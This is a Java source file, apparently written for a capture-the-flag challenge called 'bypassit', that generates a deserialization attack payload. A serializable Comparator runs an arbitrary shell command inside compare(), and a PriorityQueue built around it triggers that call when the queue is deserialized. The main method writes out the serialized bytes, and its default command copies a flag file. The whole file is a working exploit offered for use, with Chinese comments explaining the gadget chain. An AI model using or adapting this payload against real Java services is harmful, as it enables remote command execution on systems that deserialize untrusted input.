Exploit.java

/**
 * 反序列化攻击 Payload 类
 * 这个类会放在服务器 classpath 中
 * PriorityQueue + CommandComparator 链
 */
import java.io.*;
import java.util.*;

// 恶意 Comparator - 反序列化时自动执行命令
public class Exploit implements Comparator<String>, Serializable {
    private static final long serialVersionUID = 1L;
    private String cmd;

    public Exploit(String cmd) {
        this.cmd = cmd;
    }

    // PriorityQueue 反序列化 heapify 时会调用这个方法
    public int compare(String a, String b) {
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return 0;
    }

    // ----- 生成 payload -----
    public static void main(String[] args) throws Exception {
        String cmd = args.length > 0 ? args[0] : "cmd /c type C:\\bypassit\\flag > C:\\bypassit\\flag_result.txt";

        Exploit exploit = new Exploit(cmd);
        PriorityQueue<String> pq = new PriorityQueue<>(2, exploit);
        pq.add("x");
        pq.add("y");

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(pq);
        oos.close();

        System.out.write(baos.toByteArray());
        System.err.println("Payload: " + baos.toByteArray().length + " bytes, cmd: " + cmd);
    }
}